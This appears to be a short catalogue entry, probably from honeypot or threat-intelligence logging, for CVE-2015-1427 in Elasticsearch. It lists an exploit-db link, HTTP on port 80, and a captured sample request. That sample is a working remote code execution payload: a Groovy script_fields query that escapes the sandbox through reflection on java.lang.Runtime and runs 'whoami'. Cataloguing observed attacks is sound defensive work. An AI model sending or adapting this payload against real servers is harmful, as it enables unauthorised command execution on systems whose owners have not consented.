CVE-2015-1427

Links:

https://www.exploit-db.com/exploits/36337

Protocols:

HTTP

Ports:

80

Sample:

POST /_search?pretty HTTP/1.1
Accept-Encoding: identity
Content-Length: 477
Host: 206.189.170.92
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36

{"script_fields": {"iswin": {"lang": "groovy", "script": "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).                        newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.                        class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").                        getInputStream())).readLines()"}}, "size": 1}